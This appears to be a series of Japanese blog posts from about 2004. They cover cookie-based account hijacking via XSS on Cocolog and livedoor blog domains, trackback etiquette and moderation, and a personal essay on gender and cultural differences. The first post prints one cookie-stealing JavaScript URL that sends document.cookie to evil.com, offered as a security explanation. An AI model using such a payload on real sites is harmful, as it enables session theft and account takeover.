livedoor blog の編集画面の仕様は知らないのですが、もしこのドメイン上で cookie を発行することで認証状態を記憶できるようになっているとしたら、blog.livedoor.jp 上のどこかのページにクロスサイトスクリプティング脆弱性があった場合、アカウント乗っ取りが可能になります。

他にも理由はあるかもしれませんが、私が直感的に思った範囲では、そんな点からしてもユーザ空間をドメイン(ホスト)のレイヤで分けるのは安全性の高い方式である、と思います。

とはいえ、nifty の他のサービスはユーザ空間をドメイン名レイヤで分けているわけでもないので、nifty がこういう脅威に備えてそうしたかは怪しいですが^^;。


そうそう、参考繋がり^^;で、高木さんの日記が久々に更新されてましたのでご紹介~。
きっとこのページがリンク元になるのも意義があるはず:p。


(追記)
はっっ!!よくよく考えたらココログの場合、cookie を利用する編集画面は https://app.cocolog-nifty.com/ ではないか…。ってことは上記とは無関係に他人のアカウント乗っ取りの可能性はあるってわけだ-_-。
まぁもともとは PATH 単位でサーバを切り分けるのが面倒とかの理由でホストで分けたんだろうとは思ってたけど…。せっかくいい手段だと思ったのにねぇ-_-。

あ、念のため、https://app.cocolog-nifty.com/ のどこかに第三者から script を送り込めるような脆弱性がない限り、cookie は盗まれないです。が、もし以下のような URL を編集ページ上から叩かれるような手段が存在したら、認証済み状態が盗まれます。
javascript:document.location="http://evil.com/"+document.cookie

(追記:2004/02/09)
ネタもとを失念してしまいましたが_o_、複数ドメインに分けていることで、ココログ同士のリンクが異なるドメインにまたがることになり、それは SEO 効果がある、という話がありました。
www.nifty.com のようなランクの高いページからリンクされていること以上に有望な説ですね。
だからといって、nifty がその効果を考えてドメインを分けたとは思えませんけどね^^;。

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既に自分へリンクされている記事にトラックバックすること

たまに目にするのですが、ある記事Aに言及した記事Bに対して、記事A側からトラックバックが送られることがあります。
記事Bは記事Aに言及しているので既に記事Aへのリンクがあり、さらに引用などがあったりするわけです。
そのような記事Bにトラックバックとして記事Aが記載されることに違和感を感じたりします^^;。

別にまずいことはないんですが、意義も無いよなぁ…と。

これはもしかしたら「トラックバックを送る」という行為自体に意義を見いだしていて、いわば「相互リンクしました」な感覚でなされるのだろうか…などと考えていたところでした。
blog をコミュニケーションツールとみなして利用する方にとってはそういうのもありなんでしょう、きっと^^;。
しかし、相手がニュースサイト並みの化け物サイトだとすると、そこの読者はその記事に言及しているものを探してトラックバックを漁るわけですが、そういうスタンスで見るとゴミトラックバックと変わらなかったりします。

やはり、トラックバックは「相手とそのページの読者」が見るものですから、マナーレベルの話ではありますがそれらの方のことを考えた方がよい(ケースもある)でしょうねぇ。教条的なのがやだから異常に柔らかく言ってみるテスト^^;


観測気球: トラックバックしないでおいたら向こうの方からトラックバックされてしまいました

こういう場合はどうなんでしょうね…^^;。これも本来は、トラックバックされなかったかわりに、「こんなふうに言及/紹介してくれているところもあるよ」という形で記事に追記するのが妥当な気がしますが、ここでのトラックバックの使われ方も、読者指向ではなく、記事オーナー同士のコミュニケーションという観点に着目した結果、と言えるんでしょうかねぇ。

私はもともと興味の無いことでしたが、「相互リンクしました」文化を垣間見た事象でした^^;。

そういえば、先の記事で「問題はオーナーの対象とする読者がどう思うか」と書いたんですが、オーナーの対象とする読者がオーナー自身であってももちろん構いません^^;。他の読者のことを考えるのも考えないのも自由ではあります。

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良質なトラックバックの選別

CNET Japan のゴミトラックバックの話。と、いきなりツッコマブルに始める:p

既に議論がたくさんされているようで、読み切れていないのですが_o_。直感的な感想おば。
見た記事に対してはトラックバックを送っておきます^^;

[Kotaro Yamagishi's bJournal - 山岸広太郎のBlog(ブログ)]

次のステップとしては、何らかの形で良質なTrackBack先を紹介していく仕組みを作ることですね。クリック数が多いとかそういうのはダメだと思うので、どうするか。現段階の可能性として濃厚なのは人力なのですが、これをやるにはやはり編集部の人員とオペレーションの体制を整える必要があり、もう少し時間がかかると思います。

山岸さんは CNET Japan 編集長だそうです。
私は「トラックバックは相手とそのページの読者に自分のページを伝えるものだから、それらの方にとっての新しい情報が含まれない場合は送らない」ものと考えて、リンクと使い分けています。
これは発端となったkush's blog: CNET JapanのTrackBack と同意見です。

そうでないトラックバックは通常の目的からすればノイズと言ってよいでしょう。山岸さんがおっしゃっているように、「反応がある」というだけでも情報としての価値があるので、「反応があること」に興味がありさえすればノイズではなくなるのですが。spam は?宣伝目的の場合は「反応」ですらない場合もあるわけですが。そして、個人サイトの宣伝目的、というケースも多いわけですが。まぁ、それすらも「ここなら宣伝効果があると送り主が考えた」という「反応」である、とも言えますけどね^^;。問題はオーナーの対象とする読者がどう思うか、だと私は思います。

まぁノイズかどうかはともかくとして、今のトラックバックの仕組みではそういったものを回避できないので、オーナーの対象とする読者のために、上記引用のように仕組みが必要になります。

で、CNET のように、トラックバックによる繋がりという観点からいうと常に一次ソースとなるようなサイトなら、スラッシュドットと同様な投票によるモデレーションを導入するのがよいと思います。
通常 blog 記事の評価はその記事自体から辿れるところに付けられますが、CNET のようなサイトであれば、トラックバックに対して評価を入力してくれる人も結構いそうです。つまり、CNET のトラックバック一覧画面上で、各トラックバックの有志による評価も表示するんです。もちろんそれをどう利用するかはユーザ次第ですが。
なにしろ、今の情報溢れの時代、トラックバック一覧を見るのにクリックが必要なことすらうざいと思ったりするのに、その先の記事を一つ一つ見るコストは、数が多くなるととても払っていられないという人も多いですし。

で、オーナーが判断するよりもオーナーの対象とする読者が判断するほうが良いでしょうし。
「オーナーの対象とする読者」とはまた非常にツッコマブルな表現だな^^;
ただ、スラッシュドットなどでもよく問題になっていましたが、投票的な仕組みだと匿名による悪徳モデレーション問題がありますのでシステム構築コストとの折り合いが問題ではありますが。

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男女の"違い"、文化の"違い"を認めよ

昨日は気付いたら0時を回っていて東京駅で東海道線の終電に乗りそこね…-_-。
京浜東北線が辛うじてあったので横浜まではたどりついたけど、そこでジ・エンド。
しょうがないので、漫画喫茶で始発まで時間をつぶしたのでした-_-。
自宅はもっと先ってことね。

で、バガボンドなんぞ読んでたり^^;。

こういう漫画が特別に面白いと思うのって、(例によって例の本を読んだ後だけに^^;)男として進化してきたからなんだろうなぁ、と思ったり。女性でバガボンドを面白いと思う人は人間模様とか武蔵や小次郎がかっこいいからとかはあるだろうけど、斬り合いのシーンそのものだけを取っても面白いと思える人は少ないんじゃなかろうか…なんて^^;。

男性が読むと、ストーリー/人間模様/絵に加え、ある種の狂気や勝負/殺し合いのようなものへの心の奥底に眠っている「共感」が呼び起こされて、相乗効果が発生するんではなかろうか?などと感じてしまったのでした。

その感覚がコモンセンスかナンセンスかは調べちゃいないさ:p。ただ、「例の本」なども読んだ上での自分なりの分析。


そして、同様のことは「文化」にも言えるんだろうな、と思った。
今は世界各国で種の交わりが起こっているけれど、ずっと昔は別の国に住んでいる人との交流は無かったわけで、人類はアダムとイブのように一対から派生したわけではなく、同時多発的に発生したと思っているので(多分^^;)、全く異なる文化の中で進化してきた人たちが全く同じなはずがない、と。
つまり外見(肌/髪など)以外にも、もっと根本的な、本能より少し上くらいのレベルで差異があっても当然だよなぁ、と。

そうすると、たとえば日本で生まれ育ったアメリカ人でも、両親が生粋のアメリカ人だと、日本人とは何かが違う可能性は絶対にあるよねぇ。違うからって差別しちゃダメだよん。もちろん。

「違いはない」と自分に言い聞かせるより「違いがある、ただそれだけだけど」と認めるほうが健全だよなぁ、とか思ったり。

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